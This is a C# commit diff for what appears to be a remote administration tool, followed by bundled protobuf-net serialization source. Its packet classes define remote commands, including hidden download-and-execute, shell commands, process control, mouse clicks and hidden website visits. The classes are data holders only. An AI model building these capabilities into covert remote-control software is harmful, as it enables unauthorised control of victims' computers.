namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Disconnect : IPacket
{
public Disconnect() { }
public void Execute(Client client)
{
client.Send<Disconnect>(this);
}
}
}

View File

@ -0,0 +1,26 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class DownloadAndExecute : IPacket
{
[ProtoMember(1)]
public string URL { get; set; }
[ProtoMember(2)]
public bool RunHidden { get; set; }
public DownloadAndExecute() { }
public DownloadAndExecute(string url, bool runhidden)
{
this.URL = url;
this.RunHidden = runhidden;
}
public void Execute(Client client)
{
client.Send<DownloadAndExecute>(this);
}
}
}

View File

@ -0,0 +1,26 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class DownloadFile : IPacket
{
[ProtoMember(1)]
public string RemotePath { get; set; }
[ProtoMember(2)]
public int ID { get; set; }
public DownloadFile() { }
public DownloadFile(string remotepath, int id)
{
this.RemotePath = remotepath;
this.ID = id;
}
public void Execute(Client client)
{
client.Send<DownloadFile>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Drives : IPacket
{
public Drives() { }
public void Execute(Client client)
{
client.Send<Drives>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class GetProcesses : IPacket
{
public GetProcesses() { }
public void Execute(Client client)
{
client.Send<GetProcesses>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class GetSystemInfo : IPacket
{
public GetSystemInfo() { }
public void Execute(Client client)
{
client.Send<GetSystemInfo>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class KillProcess : IPacket
{
[ProtoMember(1)]
public int PID { get; set; }
public KillProcess() { }
public KillProcess(int pid)
{
this.PID = pid;
}
public void Execute(Client client)
{
client.Send<KillProcess>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Monitors : IPacket
{
public Monitors() { }
public void Execute(Client client)
{
client.Send<Monitors>(this);
}
}
}

View File

@ -0,0 +1,34 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class MouseClick : IPacket
{
[ProtoMember(1)]
public bool LeftClick { get; set; }
[ProtoMember(2)]
public bool DoubleClick { get; set; }
[ProtoMember(3)]
public int X { get; set; }
[ProtoMember(4)]
public int Y { get; set; }
public MouseClick() { }
public MouseClick(bool leftclick, bool doubleclick, int x, int y)
{
this.LeftClick = leftclick;
this.DoubleClick = doubleclick;
this.X = x;
this.Y = y;
}
public void Execute(Client client)
{
client.Send<MouseClick>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Reconnect : IPacket
{
public Reconnect() { }
public void Execute(Client client)
{
client.Send<Reconnect>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class ShellCommand : IPacket
{
[ProtoMember(1)]
public string Command { get; set; }
public ShellCommand() { }
public ShellCommand(string command)
{
this.Command = command;
}
public void Execute(Client client)
{
client.Send<ShellCommand>(this);
}
}
}

View File

@ -0,0 +1,34 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class ShowMessageBox : IPacket
{
[ProtoMember(1)]
public string Caption { get; set; }
[ProtoMember(2)]
public string Text { get; set; }
[ProtoMember(3)]
public string MessageboxButton { get; set; }
[ProtoMember(4)]
public string MessageboxIcon { get; set; }
public ShowMessageBox() { }
public ShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon)
{
this.Caption = caption;
this.Text = text;
this.MessageboxButton = messageboxbutton;
this.MessageboxIcon = messageboxicon;
}
public void Execute(Client client)
{
client.Send<ShowMessageBox>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class StartProcess : IPacket
{
[ProtoMember(1)]
public string Processname { get; set; }
public StartProcess() { }
public StartProcess(string processname)
{
this.Processname = processname;
}
public void Execute(Client client)
{
client.Send<StartProcess>(this);
}
}
}

View File

@ -0,0 +1,15 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Uninstall : IPacket
{
public Uninstall() { }
public void Execute(Client client)
{
client.Send<Uninstall>(this);
}
}
}

View File

@ -0,0 +1,22 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class Update : IPacket
{
[ProtoMember(1)]
public string DownloadURL { get; set; }
public Update() { }
public Update(string downloadurl)
{
this.DownloadURL = downloadurl;
}
public void Execute(Client client)
{
client.Send<Update>(this);
}
}
}

View File

@ -0,0 +1,26 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class VisitWebsite : IPacket
{
[ProtoMember(1)]
public string URL { get; set; }
[ProtoMember(2)]
public bool Hidden { get; set; }
public VisitWebsite() { }
public VisitWebsite(string url, bool hidden)
{
this.URL = url;
this.Hidden = hidden;
}
public void Execute(Client client)
{
client.Send<VisitWebsite>(this);
}
}
}

View File

@ -0,0 +1,13 @@
using ProtoBuf;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
public class InitializeCommand : IPacket
{
public InitializeCommand() { }
public void Execute(Client client)
{
client.Send<InitializeCommand>(this);
}
}
}

View File

@ -0,0 +1,24 @@
using Core.Packets;
using ProtoBuf;
using System;
using System.Collections.Generic;
using System.Text;
namespace Core.Packets.ServerPackets
{
[ProtoContract]
internal class KeepAlive : IPacket
{
[ProtoMember(1)]
public DateTime TimeSent { get; private set; }
public Client Client;
public void Execute(Client client)
{
TimeSent = DateTime.Now;
Client = client;
client.Send<KeepAlive>(this);
}
}
}

View File

@ -0,0 +1,23 @@
using Core.Packets;
using ProtoBuf;
using System;
using System.Collections.Generic;
using System.Text;
namespace Core.Packets.ClientPackets
{
[ProtoContract]
public class UnknownPacket : IPacket
{
[ProtoMember(1)]
public IPacket Packet { get; set; }
public UnknownPacket() { }
public UnknownPacket(IPacket packet) { Packet = packet; }
public void Execute(Client client)
{
client.Send<UnknownPacket>(this);
}
}
}

View File

@ -0,0 +1,544 @@
using System;
using System.Reflection;
namespace ProtoBuf
{
internal enum TimeSpanScale
{
Days = 0,
Hours = 1,
Minutes = 2,
Seconds = 3,
Milliseconds = 4,
Ticks = 5,
MinMax = 15
}
/// <summary>
/// Provides support for common .NET types that do not have a direct representation
/// in protobuf, using the definitions from bcl.proto
/// </summary>
public
#if FX11
sealed
#else
static
#endif
class BclHelpers
{
/// <summary>
/// Creates a new instance of the specified type, bypassing the constructor.
/// </summary>
/// <param name="type">The type to create</param>
/// <returns>The new instance</returns>
/// <exception cref="NotSupportedException">If the platform does not support constructor-skipping</exception>
public static object GetUninitializedObject(Type type)
{
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
return System.Runtime.Serialization.FormatterServices.GetUninitializedObject(type);
#else
throw new NotSupportedException("Constructor-skipping is not supported on this platform");
#endif
}
#if FX11
private BclHelpers() { } // not a static class for C# 1.2 reasons
#endif
const int FieldTimeSpanValue = 0x01, FieldTimeSpanScale = 0x02;
internal static readonly DateTime EpochOrigin = new DateTime(1970, 1, 1, 0, 0, 0, 0);
/// <summary>
/// Writes a TimeSpan to a protobuf stream
/// </summary>
public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest)
{
long value;
switch(dest.WireType)
{
case WireType.String:
case WireType.StartGroup:
TimeSpanScale scale;
value = timeSpan.Ticks;
if (timeSpan == TimeSpan.MaxValue)
{
value = 1;
scale = TimeSpanScale.MinMax;
}
else if (timeSpan == TimeSpan.MinValue)
{
value = -1;
scale = TimeSpanScale.MinMax;
}
else if (value % TimeSpan.TicksPerDay == 0)
{
scale = TimeSpanScale.Days;
value /= TimeSpan.TicksPerDay;
}
else if (value % TimeSpan.TicksPerHour == 0)
{
scale = TimeSpanScale.Hours;
value /= TimeSpan.TicksPerHour;
}
else if (value % TimeSpan.TicksPerMinute == 0)
{
scale = TimeSpanScale.Minutes;
value /= TimeSpan.TicksPerMinute;
}
else if (value % TimeSpan.TicksPerSecond == 0)
{
scale = TimeSpanScale.Seconds;
value /= TimeSpan.TicksPerSecond;
}
else if (value % TimeSpan.TicksPerMillisecond == 0)
{
scale = TimeSpanScale.Milliseconds;
value /= TimeSpan.TicksPerMillisecond;
}
else
{
scale = TimeSpanScale.Ticks;
}
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if(value != 0) {
ProtoWriter.WriteFieldHeader(FieldTimeSpanValue, WireType.SignedVariant, dest);
ProtoWriter.WriteInt64(value, dest);
}
if(scale != TimeSpanScale.Days) {
ProtoWriter.WriteFieldHeader(FieldTimeSpanScale, WireType.Variant, dest);
ProtoWriter.WriteInt32((int)scale, dest);
}
ProtoWriter.EndSubItem(token, dest);
break;
case WireType.Fixed64:
ProtoWriter.WriteInt64(timeSpan.Ticks, dest);
break;
default:
throw new ProtoException("Unexpected wire-type: " + dest.WireType.ToString());
}
}
/// <summary>
/// Parses a TimeSpan from a protobuf stream
/// </summary>
public static TimeSpan ReadTimeSpan(ProtoReader source)
{
long ticks = ReadTimeSpanTicks(source);
if (ticks == long.MinValue) return TimeSpan.MinValue;
if (ticks == long.MaxValue) return TimeSpan.MaxValue;
return TimeSpan.FromTicks(ticks);
}
/// <summary>
/// Parses a DateTime from a protobuf stream
/// </summary>
public static DateTime ReadDateTime(ProtoReader source)
{
long ticks = ReadTimeSpanTicks(source);
if (ticks == long.MinValue) return DateTime.MinValue;
if (ticks == long.MaxValue) return DateTime.MaxValue;
return EpochOrigin.AddTicks(ticks);
}
/// <summary>
/// Writes a DateTime to a protobuf stream
/// </summary>
public static void WriteDateTime(DateTime value, ProtoWriter dest)
{
TimeSpan delta;
switch (dest.WireType)
{
case WireType.StartGroup:
case WireType.String:
if (value == DateTime.MaxValue)
{
delta = TimeSpan.MaxValue;
}
else if (value == DateTime.MinValue)
{
delta = TimeSpan.MinValue;
}
else
{
delta = value - EpochOrigin;
}
break;
default:
delta = value - EpochOrigin;
break;
}
WriteTimeSpan(delta, dest);
}
private static long ReadTimeSpanTicks(ProtoReader source) {
switch (source.WireType)
{
case WireType.String:
case WireType.StartGroup:
SubItemToken token = ProtoReader.StartSubItem(source);
int fieldNumber;
TimeSpanScale scale = TimeSpanScale.Days;
long value = 0;
while ((fieldNumber = source.ReadFieldHeader()) > 0)
{
switch (fieldNumber)
{
case FieldTimeSpanScale:
scale = (TimeSpanScale)source.ReadInt32();
break;
case FieldTimeSpanValue:
source.Assert(WireType.SignedVariant);
value = source.ReadInt64();
break;
default:
source.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, source);
switch (scale)
{
case TimeSpanScale.Days:
return value * TimeSpan.TicksPerDay;
case TimeSpanScale.Hours:
return value * TimeSpan.TicksPerHour;
case TimeSpanScale.Minutes:
return value * TimeSpan.TicksPerMinute;
case TimeSpanScale.Seconds:
return value * TimeSpan.TicksPerSecond;
case TimeSpanScale.Milliseconds:
return value * TimeSpan.TicksPerMillisecond;
case TimeSpanScale.Ticks:
return value;
case TimeSpanScale.MinMax:
switch (value)
{
case 1: return long.MaxValue;
case -1: return long.MinValue;
default: throw new ProtoException("Unknown min/max value: " + value.ToString());
}
default:
throw new ProtoException("Unknown timescale: " + scale.ToString());
}
case WireType.Fixed64:
return source.ReadInt64();
default:
throw new ProtoException("Unexpected wire-type: " + source.WireType.ToString());
}
}
const int FieldDecimalLow = 0x01, FieldDecimalHigh = 0x02, FieldDecimalSignScale = 0x03;
/// <summary>
/// Parses a decimal from a protobuf stream
/// </summary>
public static decimal ReadDecimal(ProtoReader reader)
{
ulong low = 0;
uint high = 0;
uint signScale = 0;
int fieldNumber;
SubItemToken token = ProtoReader.StartSubItem(reader);
while ((fieldNumber = reader.ReadFieldHeader()) > 0)
{
switch (fieldNumber)
{
case FieldDecimalLow: low = reader.ReadUInt64(); break;
case FieldDecimalHigh: high = reader.ReadUInt32(); break;
case FieldDecimalSignScale: signScale = reader.ReadUInt32(); break;
default: reader.SkipField(); break;
}
}
ProtoReader.EndSubItem(token, reader);
if (low == 0 && high == 0) return decimal.Zero;
int lo = (int)(low & 0xFFFFFFFFL),
mid = (int)((low >> 32) & 0xFFFFFFFFL),
hi = (int)high;
bool isNeg = (signScale & 0x0001) == 0x0001;
byte scale = (byte)((signScale & 0x01FE) >> 1);
return new decimal(lo, mid, hi, isNeg, scale);
}
/// <summary>
/// Writes a decimal to a protobuf stream
/// </summary>
public static void WriteDecimal(decimal value, ProtoWriter writer)
{
int[] bits = decimal.GetBits(value);
ulong a = ((ulong)bits[1]) << 32, b = ((ulong)bits[0]) & 0xFFFFFFFFL;
ulong low = a | b;
uint high = (uint)bits[2];
uint signScale = (uint)(((bits[3] >> 15) & 0x01FE) | ((bits[3] >> 31) & 0x0001));
SubItemToken token = ProtoWriter.StartSubItem(null, writer);
if (low != 0) {
ProtoWriter.WriteFieldHeader(FieldDecimalLow, WireType.Variant, writer);
ProtoWriter.WriteUInt64(low, writer);
}
if (high != 0)
{
ProtoWriter.WriteFieldHeader(FieldDecimalHigh, WireType.Variant, writer);
ProtoWriter.WriteUInt32(high, writer);
}
if (signScale != 0)
{
ProtoWriter.WriteFieldHeader(FieldDecimalSignScale, WireType.Variant, writer);
ProtoWriter.WriteUInt32(signScale, writer);
}
ProtoWriter.EndSubItem(token, writer);
}
const int FieldGuidLow = 1, FieldGuidHigh = 2;
/// <summary>
/// Writes a Guid to a protobuf stream
/// </summary>
public static void WriteGuid(Guid value, ProtoWriter dest)
{
byte[] blob = value.ToByteArray();
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (value != Guid.Empty)
{
ProtoWriter.WriteFieldHeader(FieldGuidLow, WireType.Fixed64, dest);
ProtoWriter.WriteBytes(blob, 0, 8, dest);
ProtoWriter.WriteFieldHeader(FieldGuidHigh, WireType.Fixed64, dest);
ProtoWriter.WriteBytes(blob, 8, 8, dest);
}
ProtoWriter.EndSubItem(token, dest);
}
/// <summary>
/// Parses a Guid from a protobuf stream
/// </summary>
public static Guid ReadGuid(ProtoReader source)
{
ulong low = 0, high = 0;
int fieldNumber;
SubItemToken token = ProtoReader.StartSubItem(source);
while ((fieldNumber = source.ReadFieldHeader()) > 0)
{
switch (fieldNumber)
{
case FieldGuidLow: low = source.ReadUInt64(); break;
case FieldGuidHigh: high = source.ReadUInt64(); break;
default: source.SkipField(); break;
}
}
ProtoReader.EndSubItem(token, source);
if(low == 0 && high == 0) return Guid.Empty;
uint a = (uint)(low >> 32), b = (uint)low, c = (uint)(high >> 32), d= (uint)high;
return new Guid((int)b, (short)a, (short)(a >> 16),
(byte)d, (byte)(d >> 8), (byte)(d >> 16), (byte)(d >> 24),
(byte)c, (byte)(c >> 8), (byte)(c >> 16), (byte)(c >> 24));
}
private const int
FieldExistingObjectKey = 1,
FieldNewObjectKey = 2,
FieldExistingTypeKey = 3,
FieldNewTypeKey = 4,
FieldTypeName = 8,
FieldObject = 10;
/// <summary>
/// Optional behaviours that introduce .NET-specific functionality
/// </summary>
[Flags]
public enum NetObjectOptions : byte
{
/// <summary>
/// No special behaviour
/// </summary>
None = 0,
/// <summary>
/// Enables full object-tracking/full-graph support.
/// </summary>
AsReference = 1,
/// <summary>
/// Embeds the type information into the stream, allowing usage with types not known in advance.
/// </summary>
DynamicType = 2,
/// <summary>
/// If false, the constructor for the type is bypassed during deserialization, meaning any field initializers
/// or other initialization code is skipped.
/// </summary>
UseConstructor = 4,
/// <summary>
/// Should the object index be reserved, rather than creating an object promptly
/// </summary>
LateSet = 8
}
/// <summary>
/// Reads an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc.
/// </summary>
public static object ReadNetObject(object value, ProtoReader source, int key, Type type, NetObjectOptions options)
{
#if FEAT_IKVM
throw new NotSupportedException();
#else
SubItemToken token = ProtoReader.StartSubItem(source);
int fieldNumber;
int newObjectKey = -1, newTypeKey = -1, tmp;
while ((fieldNumber = source.ReadFieldHeader()) > 0)
{
switch (fieldNumber)
{
case FieldExistingObjectKey:
tmp = source.ReadInt32();
value = source.NetCache.GetKeyedObject(tmp);
break;
case FieldNewObjectKey:
newObjectKey = source.ReadInt32();
break;
case FieldExistingTypeKey:
tmp = source.ReadInt32();
type = (Type)source.NetCache.GetKeyedObject(tmp);
key = source.GetTypeKey(ref type);
break;
case FieldNewTypeKey:
newTypeKey = source.ReadInt32();
break;
case FieldTypeName:
string typeName = source.ReadString();
type = source.DeserializeType(typeName);
if(type == null)
{
throw new ProtoException("Unable to resolve type: " + typeName + " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)");
}
if (type == typeof(string))
{
key = -1;
}
else
{
key = source.GetTypeKey(ref type);
if (key < 0)
throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
}
break;
case FieldObject:
bool isString = type == typeof(string);
bool wasNull = value == null;
bool lateSet = wasNull && (isString || ((options & NetObjectOptions.LateSet) != 0));
if (newObjectKey >= 0 && !lateSet)
{
if (value == null)
{
source.TrapNextObject(newObjectKey);
}
else
{
source.NetCache.SetKeyedObject(newObjectKey, value);
}
if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type);
}
object oldValue = value;
if (isString)
{
value = source.ReadString();
}
else
{
value = ProtoReader.ReadTypedObject(oldValue, key, source, type);
}
if (newObjectKey >= 0)
{
if(wasNull && !lateSet)
{ // this both ensures (via exception) that it *was* set, and makes sure we don't shout
// about changed references
oldValue = source.NetCache.GetKeyedObject(newObjectKey);
}
if (lateSet)
{
source.NetCache.SetKeyedObject(newObjectKey, value);
if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type);
}
}
if (newObjectKey >= 0 && !lateSet && !ReferenceEquals(oldValue, value))
{
throw new ProtoException("A reference-tracked object changed reference during deserialization");
}
if (newObjectKey < 0 && newTypeKey >= 0)
{ // have a new type, but not a new object
source.NetCache.SetKeyedObject(newTypeKey, type);
}
break;
default:
source.SkipField();
break;
}
}
if(newObjectKey >= 0 && (options & NetObjectOptions.AsReference) == 0)
{
throw new ProtoException("Object key in input stream, but reference-tracking was not expected");
}
ProtoReader.EndSubItem(token, source);
return value;
#endif
}
/// <summary>
/// Writes an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc.
/// </summary>
public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options)
{
#if FEAT_IKVM
throw new NotSupportedException();
#else
Helpers.DebugAssert(value != null);
bool dynamicType = (options & NetObjectOptions.DynamicType) != 0,
asReference = (options & NetObjectOptions.AsReference) != 0;
WireType wireType = dest.WireType;
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
bool writeObject = true;
if (asReference)
{
bool existing;
int objectKey = dest.NetCache.AddObjectKey(value, out existing);
ProtoWriter.WriteFieldHeader(existing ? FieldExistingObjectKey : FieldNewObjectKey, WireType.Variant, dest);
ProtoWriter.WriteInt32(objectKey, dest);
if (existing)
{
writeObject = false;
}
}
if (writeObject)
{
if (dynamicType)
{
bool existing;
Type type = value.GetType();
if (!(value is string))
{
key = dest.GetTypeKey(ref type);
if (key < 0) throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
}
int typeKey = dest.NetCache.AddObjectKey(type, out existing);
ProtoWriter.WriteFieldHeader(existing ? FieldExistingTypeKey : FieldNewTypeKey, WireType.Variant, dest);
ProtoWriter.WriteInt32(typeKey, dest);
if (!existing)
{
ProtoWriter.WriteFieldHeader(FieldTypeName, WireType.String, dest);
ProtoWriter.WriteString(dest.SerializeType(type), dest);
}
}
ProtoWriter.WriteFieldHeader(FieldObject, wireType, dest);
if (value is string)
{
ProtoWriter.WriteString((string)value, dest);
}
else {
ProtoWriter.WriteObject(value, key, dest);
}
}
ProtoWriter.EndSubItem(token, dest);
#endif
}
}
}

View File

@ -0,0 +1,73 @@
using System;
using System.IO;
namespace ProtoBuf
{
/// <summary>
/// Provides a simple buffer-based implementation of an <see cref="IExtension">extension</see> object.
/// </summary>
public sealed class BufferExtension : IExtension
{
private byte[] buffer;
int IExtension.GetLength()
{
return buffer == null ? 0 : buffer.Length;
}
Stream IExtension.BeginAppend()
{
return new MemoryStream();
}
void IExtension.EndAppend(Stream stream, bool commit)
{
using (stream)
{
int len;
if (commit && (len = (int)stream.Length) > 0)
{
MemoryStream ms = (MemoryStream)stream;
if (buffer == null)
{ // allocate new buffer
buffer = ms.ToArray();
}
else
{ // resize and copy the data
// note: Array.Resize not available on CF
int offset = buffer.Length;
byte[] tmp = new byte[offset + len];
Helpers.BlockCopy(buffer, 0, tmp, 0, offset);
#if PORTABLE || WINRT // no GetBuffer() - fine, we'll use Read instead
int bytesRead;
long oldPos = ms.Position;
ms.Position = 0;
while (len > 0 && (bytesRead = ms.Read(tmp, offset, len)) > 0)
{
len -= bytesRead;
offset += bytesRead;
}
if(len != 0) throw new EndOfStreamException();
ms.Position = oldPos;
#else
Helpers.BlockCopy(ms.GetBuffer(), 0, tmp, offset, len);
#endif
buffer = tmp;
}
}
}
}
Stream IExtension.BeginQuery()
{
return buffer == null ? Stream.Null : new MemoryStream(buffer);
}
void IExtension.EndQuery(Stream stream)
{
using (stream) { } // just clean up
}
}
}

View File

@ -0,0 +1,103 @@

using System.Threading;
namespace ProtoBuf
{
internal class BufferPool
{
internal static void Flush()
{
#if PLAT_NO_INTERLOCKED
lock(pool)
{
for (int i = 0; i < pool.Length; i++) pool[i] = null;
}
#else
for (int i = 0; i < pool.Length; i++)
{
Interlocked.Exchange(ref pool[i], null); // and drop the old value on the floor
}
#endif
}
private BufferPool() { }
const int PoolSize = 20;
internal const int BufferLength = 1024;
private static readonly object[] pool = new object[PoolSize];
internal static byte[] GetBuffer()
{
object tmp;
#if PLAT_NO_INTERLOCKED
lock(pool)
{
for (int i = 0; i < pool.Length; i++)
{
if((tmp = pool[i]) != null)
{
pool[i] = null;
return (byte[])tmp;
}
}
}
#else
for (int i = 0; i < pool.Length; i++)
{
if ((tmp = Interlocked.Exchange(ref pool[i], null)) != null) return (byte[])tmp;
}
#endif
return new byte[BufferLength];
}
internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, int copyBytes)
{
Helpers.DebugAssert(buffer != null);
Helpers.DebugAssert(toFitAtLeastBytes > buffer.Length);
Helpers.DebugAssert(copyFromIndex >= 0);
Helpers.DebugAssert(copyBytes >= 0);
// try doubling, else match
int newLength = buffer.Length * 2;
if (newLength < toFitAtLeastBytes) newLength = toFitAtLeastBytes;
byte[] newBuffer = new byte[newLength];
if (copyBytes > 0)
{
Helpers.BlockCopy(buffer, copyFromIndex, newBuffer, 0, copyBytes);
}
if (buffer.Length == BufferPool.BufferLength)
{
BufferPool.ReleaseBufferToPool(ref buffer);
}
buffer = newBuffer;
}
internal static void ReleaseBufferToPool(ref byte[] buffer)
{
if (buffer == null) return;
if (buffer.Length == BufferLength)
{
#if PLAT_NO_INTERLOCKED
lock (pool)
{
for (int i = 0; i < pool.Length; i++)
{
if(pool[i] == null)
{
pool[i] = buffer;
break;
}
}
}
#else
for (int i = 0; i < pool.Length; i++)
{
if (Interlocked.CompareExchange(ref pool[i], buffer, null) == null)
{
break; // found a null; swapped it in
}
}
#endif
}
// if no space, just drop it on the floor
buffer = null;
}
}
}

View File

@ -0,0 +1,42 @@

namespace ProtoBuf
{
/// <summary>
/// Sub-format to use when serializing/deserializing data
/// </summary>
public enum DataFormat
{
/// <summary>
/// Uses the default encoding for the data-type.
/// </summary>
Default,
/// <summary>
/// When applied to signed integer-based data (including Decimal), this
/// indicates that zigzag variant encoding will be used. This means that values
/// with small magnitude (regardless of sign) take a small amount
/// of space to encode.
/// </summary>
ZigZag,
/// <summary>
/// When applied to signed integer-based data (including Decimal), this
/// indicates that two's-complement variant encoding will be used.
/// This means that any -ve number will take 10 bytes (even for 32-bit),
/// so should only be used for compatibility.
/// </summary>
TwosComplement,
/// <summary>
/// When applied to signed integer-based data (including Decimal), this
/// indicates that a fixed amount of space will be used.
/// </summary>
FixedSize,
/// <summary>
/// When applied to a sub-message, indicates that the value should be treated
/// as group-delimited.
/// </summary>
Group
}
}

View File

@ -0,0 +1,580 @@

using System;
using System.Collections;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf
{
/// <summary>
/// Not all frameworks are created equal (fx1.1 vs fx2.0,
/// micro-framework, compact-framework,
/// silverlight, etc). This class simply wraps up a few things that would
/// otherwise make the real code unnecessarily messy, providing fallback
/// implementations if necessary.
/// </summary>
internal class Helpers
{
private Helpers() { }
public static System.Text.StringBuilder AppendLine(System.Text.StringBuilder builder)
{
#if CF2
return builder.Append("\r\n");
#elif FX11
return builder.Append(Environment.NewLine);
#else
return builder.AppendLine();
#endif
}
public static bool IsNullOrEmpty(string value)
{ // yes, FX11 lacks this!
return value == null || value.Length == 0;
}
[System.Diagnostics.Conditional("DEBUG")]
public static void DebugWriteLine(string message, object obj)
{
string suffix;
try
{
suffix = obj == null ? "(null)" : obj.ToString();
}
catch
{
suffix = "(exception)";
}
DebugWriteLine(message + ": " + suffix);
}
[System.Diagnostics.Conditional("DEBUG")]
public static void DebugWriteLine(string message)
{
#if MF
Microsoft.SPOT.Debug.Print(message);
#else
System.Diagnostics.Debug.WriteLine(message);
#endif
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceWriteLine(string message)
{
#if MF
Microsoft.SPOT.Trace.Print(message);
#elif SILVERLIGHT || MONODROID || CF2 || WINRT || IOS || PORTABLE
System.Diagnostics.Debug.WriteLine(message);
#else
System.Diagnostics.Trace.WriteLine(message);
#endif
}
[System.Diagnostics.Conditional("DEBUG")]
public static void DebugAssert(bool condition, string message)
{
if (!condition)
{
#if MF
Microsoft.SPOT.Debug.Assert(false, message);
#else
System.Diagnostics.Debug.Assert(false, message);
}
#endif
}
[System.Diagnostics.Conditional("DEBUG")]
public static void DebugAssert(bool condition, string message, params object[] args)
{
if (!condition) DebugAssert(false, string.Format(message, args));
}
[System.Diagnostics.Conditional("DEBUG")]
public static void DebugAssert(bool condition)
{
#if MF
Microsoft.SPOT.Debug.Assert(condition);
#else
if(!condition && System.Diagnostics.Debugger.IsAttached) System.Diagnostics.Debugger.Break();
System.Diagnostics.Debug.Assert(condition);
#endif
}
#if !NO_RUNTIME
public static void Sort(int[] keys, object[] values)
{
// bubble-sort; it'll work on MF, has small code,
// and works well-enough for our sizes. This approach
// also allows us to do `int` compares without having
// to go via IComparable etc, so win:win
bool swapped;
do {
swapped = false;
for (int i = 1; i < keys.Length; i++) {
if (keys[i - 1] > keys[i]) {
int tmpKey = keys[i];
keys[i] = keys[i - 1];
keys[i - 1] = tmpKey;
object tmpValue = values[i];
values[i] = values[i - 1];
values[i - 1] = tmpValue;
swapped = true;
}
}
} while (swapped);
}
#endif
public static void BlockCopy(byte[] from, int fromIndex, byte[] to, int toIndex, int count)
{
#if MF || WINRT
Array.Copy(from, fromIndex, to, toIndex, count);
#else
Buffer.BlockCopy(from, fromIndex, to, toIndex, count);
#endif
}
public static bool IsInfinity(float value)
{
#if MF
const float inf = (float)1.0 / (float)0.0, minf = (float)-1.0F / (float)0.0;
return value == inf || value == minf;
#else
return float.IsInfinity(value);
#endif
}
#if WINRT
internal static MemberInfo GetInstanceMember(TypeInfo declaringType, string name)
{
PropertyInfo prop = declaringType.GetDeclaredProperty(name);
MethodInfo method;
if (prop != null && (method = Helpers.GetGetMethod(prop, true, true)) != null && !method.IsStatic) return prop;
FieldInfo field = declaringType.GetDeclaredField(name);
if (field != null && !field.IsStatic) return field;
return null;
}
internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name)
{
foreach (MethodInfo method in declaringType.DeclaredMethods)
{
if (!method.IsStatic && method.Name == name)
{
return method;
}
}
return null;
}
internal static MethodInfo GetStaticMethod(TypeInfo declaringType, string name)
{
foreach (MethodInfo method in declaringType.DeclaredMethods)
{
if (method.IsStatic && method.Name == name)
{
return method;
}
}
return null;
}
internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name, Type[] types)
{
if (types == null) types = EmptyTypes;
foreach (MethodInfo method in declaringType.DeclaredMethods)
{
if (!method.IsStatic && method.Name == name)
{
if(IsMatch(method.GetParameters(), types)) return method;
}
}
return null;
}
#else
internal static MethodInfo GetInstanceMethod(Type declaringType, string name)
{
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
}
internal static MethodInfo GetStaticMethod(Type declaringType, string name)
{
return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
}
internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types)
{
if(types == null) types = EmptyTypes;
#if PORTABLE
MethodInfo method = declaringType.GetMethod(name, types);
if (method != null && method.IsStatic) method = null;
return method;
#else
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic,
null, types, null);
#endif
}
#endif
internal static bool IsSubclassOf(Type type, Type baseClass)
{
#if WINRT
return type.GetTypeInfo().IsSubclassOf(baseClass);
#else
return type.IsSubclassOf(baseClass);
#endif
}
public static bool IsInfinity(double value)
{
#if MF
const double inf = (double)1.0 / (double)0.0, minf = (double)-1.0F / (double)0.0;
return value == inf || value == minf;
#else
return double.IsInfinity(value);
#endif
}
public readonly static Type[] EmptyTypes = new Type[0];
#if WINRT
